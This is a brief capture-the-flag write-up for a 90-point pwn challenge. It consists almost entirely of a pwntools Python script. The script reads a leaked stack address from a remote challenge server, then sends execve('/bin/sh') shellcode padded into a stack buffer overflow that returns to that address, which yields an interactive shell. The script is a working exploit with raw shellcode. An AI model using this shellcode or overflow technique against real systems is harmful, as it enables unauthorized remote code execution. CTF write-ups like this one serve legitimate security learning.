# She Sells Sea Shells**Category**: pwn**Points**: 90
# Write-Up```pythonfrom pwn import *
p = remote('139.59.30.165', 8900)p.recvuntil("attached) ")leak = int(p.recvline(),16)
print "leak : "+hex(leak)
shellcode= "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = shellcodepayload += "A"*(72-len(payload))payload += p64(leak)
p.sendline(payload)p.interactive()```